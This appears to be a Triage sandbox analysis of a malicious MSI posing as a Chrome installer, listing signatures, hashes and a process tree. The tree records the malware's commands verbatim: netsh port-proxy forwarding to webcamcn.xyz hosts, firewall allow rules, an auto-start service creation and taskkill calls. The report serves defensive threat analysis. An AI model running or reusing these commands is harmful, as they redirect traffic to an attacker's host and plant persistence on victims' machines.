Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

8

Static

static

1

sutup-Chro...64.msi

windows7-x64

8

sutup-Chro...64.msi

windows10-1703-x64

8

sutup-Chro...64.msi

windows10-2004-x64

8

sutup-Chro...64.msi

windows11-21h2-x64

8

Analysis

  • max time kernel
    299s
  • max time network
    299s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26/04/2024, 10:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sutup-Chrome.13.26.x64.msi

  • Size

    15.6MB

  • MD5

    86561e111e7ce97e13a9936b9b4ba849

  • SHA1

    61cd40da9253a367e416c9ab67e73738f18948c3

  • SHA256

    bd462515ea9ffe66fc27d9baa0fcc4bf733385829c2fc5676129aaeeb2e0af88

  • SHA512

    33d26416412d777fb2758bc41b44a9e9107906879c85bb4609702242deb2bcd83ed8a5f5da7a1d3e4662ca7b31dbfbbe1faa8364952546ff600136e8c2cf7d54

  • SSDEEP

    393216:qCBN2m9uaDsIqvv3/L/2m68UzYWIMWLBM36dmdRwhm7YLp:RkmqvHv1M/q8dOh

Score
8/10
evasionpersistencespywarestealer

Malware Config

Signatures

  • Creates new service(s) 1 TTPs
    persistence
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Sets file execution options in registry 2 TTPs 2 IoCs
    persistence
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 24 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Executes dropped EXE 35 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Loads dropped DLL 31 IoCs
  • Registers COM server for autorun 1 TTPs 33 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 48 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\sutup-Chrome.13.26.x64.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2860
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4100
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 24FEEE574A2D912B745616A92F163DBC
      2⤵
      • Loads dropped DLL
      PID:3680
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:4888
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:4816
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:4860
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:3636
    • C:\Program Files (x86)\ChromeSetup.exe
      "C:\Program Files (x86)\ChromeSetup.exe"
      2⤵
      • Drops file in Windows directory
      • Executes dropped EXE
      PID:1228
      • C:\Windows\SystemTemp\GUM40A4.tmp\GoogleUpdate.exe
        C:\Windows\SystemTemp\GUM40A4.tmp\GoogleUpdate.exe /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={852D075A-CB9D-6360-4E4D-427BBB4F11E1}&lang=zh-CN&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty"
        3⤵
        • Sets file execution options in registry
        • Drops file in Program Files directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2736
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies registry class
          PID:756
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies registry class
          PID:2824
          • C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:1604
          • C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:3392
          • C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.372\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:1700
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNzIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNzEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QjU1OTY4QjktRjQ4Qy00MjM1LUE3ODgtOTE1MzVCMEE5RjJEfSIgdXNlcmlkPSJ7QzI2NzMyNTItNzMxNi00MjAyLUE0REQtOTcyMURDODAzMjAxfSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezFBNTY3RDVDLTlGQTYtNDdGNi04OTU2LUQwODNDRjc4NTY2RX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9Ins0MzBGRDREMC1CNzI5LTRGNjEtQUEzNC05MTUyNjQ4MTc5OUR9IiB2ZXJzaW9uPSIxLjMuMzYuMzcxIiBuZXh0dmVyc2lvbj0iMS4zLjM2LjM3MiIgbGFuZz0iemgtQ04iIGJyYW5kPSIiIGNsaWVudD0iIiBpaWQ9Ins4NTJEMDc1QS1DQjlELTYzNjAtNEU0RC00MjdCQkI0RjExRTF9Ij48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBpbnN0YWxsX3RpbWVfbXM9IjM1NzgiLz48L2FwcD48L3JlcXVlc3Q-
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4532
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={852D075A-CB9D-6360-4E4D-427BBB4F11E1}&lang=zh-CN&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty" /installsource taggedmi /sessionid "{B55968B9-F48C-4235-A788-91535B0A9F2D}"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1148
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:3744
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5088
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:8
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:3460
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2212
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:2924
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      PID:2804
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:2024
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:1972
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:2336
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:3540
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:4004
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2968
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:3888
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:3624
    • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
      "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
      2⤵
      • Executes dropped EXE
      PID:5096
      • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
        "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe" start "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2388
  • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
    "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    PID:5072
    • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
      "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNzIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNzEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QjU1OTY4QjktRjQ4Qy00MjM1LUE3ODgtOTE1MzVCMEE5RjJEfSIgdXNlcmlkPSJ7QzI2NzMyNTItNzMxNi00MjAyLUE0REQtOTcyMURDODAzMjAxfSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezE3M0ZBQjkyLUFBMjktNEM3NS04MTJGLUU2RTRFRkE5RjI1Qn0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9Ins4QTY5RDM0NS1ENTY0LTQ2M0MtQUZGMS1BNjlEOUU1MzBGOTZ9IiB2ZXJzaW9uPSIiIG5leHR2ZXJzaW9uPSIiIGFwPSJ4NjQtc3RhYmxlLXN0YXRzZGVmXzEiIGxhbmc9InpoLUNOIiBicmFuZD0iIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iNyIgaWlkPSJ7ODUyRDA3NUEtQ0I5RC02MzYwLTRFNEQtNDI3QkJCNEYxMUUxfSI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjAiIGVycm9yY29kZT0iLTIxNDcwMTI4ODkiIGV4dHJhY29kZTE9IjI2ODQzNTQ1OSIgdXBkYXRlX2NoZWNrX3RpbWVfbXM9IjUzMzkxIi8-PC9hcHA-PC9yZXF1ZXN0Pg
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:792
  • C:\Windows\system32\cscript.exe
    cscript C:\Users\Admin\74042\740422.vbs
    1⤵
    • Modifies data under HKEY_USERS
    PID:2412
  • C:\Windows\system32\cmd.exe
    cmd /c cscript C:\Users\Admin\74042\740422.vbs
    1⤵
      PID:3448
      • C:\Windows\system32\cscript.exe
        cscript C:\Users\Admin\74042\740422.vbs
        2⤵
        • Modifies data under HKEY_USERS
        PID:4812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe cscript C:\Users\Admin\74042\740422.vbs
      1⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2668
    • C:\Windows\system32\sc.exe
      sc create 740422350 binPath= "C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe" type= own start= auto displayname= 740422350
      1⤵
      • Launches sc.exe
      PID:2340
    • C:\Windows\system32\netsh.exe
      netsh interface portproxy add v4tov4 listenport=443 connectaddress=156.248.54.11.webcamcn.xyz connectport=443
      1⤵
        PID:2052
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe1" dir=in action=allow program="C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
        1⤵
        • Modifies Windows Firewall
        PID:2004
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe2" dir=in action=allow program="C:\Users\GameSafe.exe"
        1⤵
        • Modifies Windows Firewall
        PID:704
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe3" dir=in action=allow program="C:\Users\GameSafe2.exe"
        1⤵
        • Modifies Windows Firewall
        PID:5068
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Safe4" dir=in action=allow program="C:\Users\GameSafe3.exe"
        1⤵
        • Modifies Windows Firewall
        PID:1900
      • C:\Windows\system32\netsh.exe
        netsh interface portproxy add v4tov4 listenport=80 connectaddress=hm2.webcamcn.xyz connectport=80
        1⤵
          PID:1104
        • C:\Windows\system32\taskkill.exe
          taskkill /f /t /im wegame.exe
          1⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3380
        • C:\Windows\system32\taskkill.exe
          taskkill /f /t /im WeGame.exe
          1⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4540

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Config.Msi\e573b08.rbs
          Filesize

          219KB

          MD5

          d52654d76b27f2b1966689efdde9ef0b

          SHA1

          1b6d80ef1a1e8f97fc0ddc676f8c33cfc0c1aa06

          SHA256

          1161428115e470ea48130548eb391fc9512aa50658fd5aec0269da93a3857358

          SHA512

          acf80f5a0cae3187316ee2d692212f157c5ce0b0f987361461e04c8a49feba5d8b439bad44e528294792db781e7176dc476ba6d2ed24cd4f4864b57467203e08

          Download Submit

        • C:\Program Files (x86)\ChromeSetup.exe
          Filesize

          1.3MB

          MD5

          8884a9547aa410b697efad097f2b0013

          SHA1

          f3e7b8a25df24532f48dae750388e1749169b620

          SHA256

          24e46969cea3b387e899d5da33820b988a9944100e47aba3d1960c4080f28b9b

          SHA512

          e03eb2eb3f8414b2c9aa9431b63082fb195ea499dc7c1ea9e67e649c81b5c13d922fda30c5b62ca15a9bccbc6d7f6efa4a92ef604216e80ef3ee14d10e38b1c4

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\LetsPRO.exe
          Filesize

          241KB

          MD5

          7bb188dfee179cbde884a0e7d127b074

          SHA1

          af351d674ec8515b4363b279c5ef803f7a4a3618

          SHA256

          7c3308f04df19ecaa36818c4a49348e1d6921a43df5c53cb8131cc58e92889ed

          SHA512

          45df588d45cad6bce5dfb48626d7505140ec1c1beecb97e3f9393cb90a144ca09c1a4d4ded75fce18ac3c7dc6f5ca0b222574222bd746d60cb6068ef910a5c4b

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\1
          Filesize

          9.4MB

          MD5

          75d0239e2d42fcb09ad6dd6380e58441

          SHA1

          d146d55d9e3cac254414c5d3dccd56e55c62f229

          SHA256

          530a033f92543e1fe9061e5043f0eacbec5a0db300b862e8470fcd0c36fe07c1

          SHA512

          18fe51d9f9ded140e9a12f1c20c8fa4fa049892c480dcf933a29b15f3e3f063be410245071da77cac34626fcbf60fe067f42d39eb4b03cffd2fb88413314e695

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe
          Filesize

          7KB

          MD5

          a5fc151170b4bef53a2918729aa6d3a9

          SHA1

          5c4aa81eabf2b681d950813efe91b4959def907f

          SHA256

          7462f9337a959b4f57b58cb2002016dd1bbdbd6a9b7ba339c933a5b6c1bbc324

          SHA512

          48face9b188040377787e0ff0e0725fed5cefee4aa5ce4b8ca89af40352fea559d446941858bb1a3db6cacf901cbcae62c8005ee616829974b6a7a9f01b8472b

          Download Submit

        • C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\msvcr100.dll
          Filesize

          756KB

          MD5

          ef3e115c225588a680acf365158b2f4a

          SHA1

          ecda6d3b4642d2451817833b39248778e9c2cbb0

          SHA256

          25d1cc5be93c7a0b58855ad1f4c9df3cfb9ec87e5dc13db85b147b1951ac6fa8

          SHA512

          d51f51336b7a34eb6c8f429597c3d685eb53853ee5e9d4857c40fc7be6956f1b8363d8d34bebad15ccceae45a6eb69f105f2df6a672f15fb0e6f8d0bb1afb91a

          Download Submit

        • C:\Windows\Installer\MSI3C2F.tmp
          Filesize

          215KB

          MD5

          e7e51805794e1a71c5e2bdd45f4ee5c9

          SHA1

          d178d4c1deb28018a180ac3a6182e923660e16f5

          SHA256

          f6216d72f4d9a7d46f3b878650b2f26982e4f05b8b5ce363a60c564159db781f

          SHA512

          5632ceae01b6aad3d806bcdf2bdaf40e487cb3dc48d83597429dc4e9c5867a878a87ca06c3a2e43e8fc532295b5b8efbb472bd07c33f6b6629e877e3392eb576

          Download Submit

        • C:\Windows\Installer\MSI3CBD.tmp
          Filesize

          408KB

          MD5

          0901970c2066aed8a97d75aaf1fd3146

          SHA1

          f0c700a4bfcebad9843e01a88bab71b5f38996d8

          SHA256

          41f827e6addfc71d68cd4758336edf602349fb1230256ec135121f95c670d773

          SHA512

          00e12fd2d752a01dfa75550ffaf3a2f337171cec93cd013083c37137a455e93bebd72e7d8487ec3e1de5fe22994f058829a6597765612278c20d601192cbe733

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\GoogleCrashHandler.exe
          Filesize

          294KB

          MD5

          4c3832fbe84b8ce63d8e3ab7d76f9983

          SHA1

          eea2d91b7d7d2cdf79bb9f354af7a33d6014f544

          SHA256

          8fe2226e8bec5a45d4b819359192ab92446b54859bf8877573ab7a3c8b4ada76

          SHA512

          e6e316bf3414ffb2674bf240760b2617ced755b8a34ad4b3213bcca6ea9a0aa3c2e094319d709a958f603b72197bfa34b100dbe87b618e17601b2e0dac749f84

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\GoogleCrashHandler64.exe
          Filesize

          392KB

          MD5

          dae993327723122c9288504a62e9f082

          SHA1

          153427b6b0a5628360472f9ab0855a8a93855f57

          SHA256

          38903dec79d41abda6fb7750b48a31ffca418b3eab19395a0a5d75d8a9204ee7

          SHA512

          517fc9eaf5bf193e984eee4b739b62df280d39cd7b6749bec61d85087cc36bb942b1ebaed73e4a4a6e9fa3c85a162f7214d41ea25b862a4cf853e1129c10293d

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\GoogleUpdate.exe
          Filesize

          158KB

          MD5

          baf0b64af9fceab44942506f3af21c87

          SHA1

          e78fb7c2db9c1b1f9949f4fcd4b23596c1372e05

          SHA256

          581edeca339bb8c5ebc1d0193ad77f5cafa329c5a9adf8f5299b1afabed6623b

          SHA512

          ee590e4d5ccdd1ab6131e19806ffd0c12731dd12cf7bfb562dd8f5896d84a88eb7901c6196c85a0b7d60aee28f8cfbba62f8438d501eabd1bb01ec0b4f8d8004

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\GoogleUpdateComRegisterShell64.exe
          Filesize

          181KB

          MD5

          0fe3644c905d5547b3a855b2dc3db469

          SHA1

          80b38b7860a341f049f03bd5a61782ff7468eac7

          SHA256

          7d5c0ed6617dbc1b78d2994a6e5bbda474b5f4814d4a34d41f844ce9a3a4eb66

          SHA512

          e2cf9e61c290599f8f92214fae67cce23206a907c0ab27a25be5d70f05d610a326395900b8ed8ed54f9ecbddfd1b890f10280d00dbcdad72e0272d23f0db1e53

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\GoogleUpdateCore.exe
          Filesize

          217KB

          MD5

          021c57c74de40f7c3b4fcf58a54d3649

          SHA1

          ef363ab45b6fe3dd5b768655adc4188aadf6b6fd

          SHA256

          04adf40ba58d0ab892091c188822191f2597bc47dab8b92423e8fc546dc437ef

          SHA512

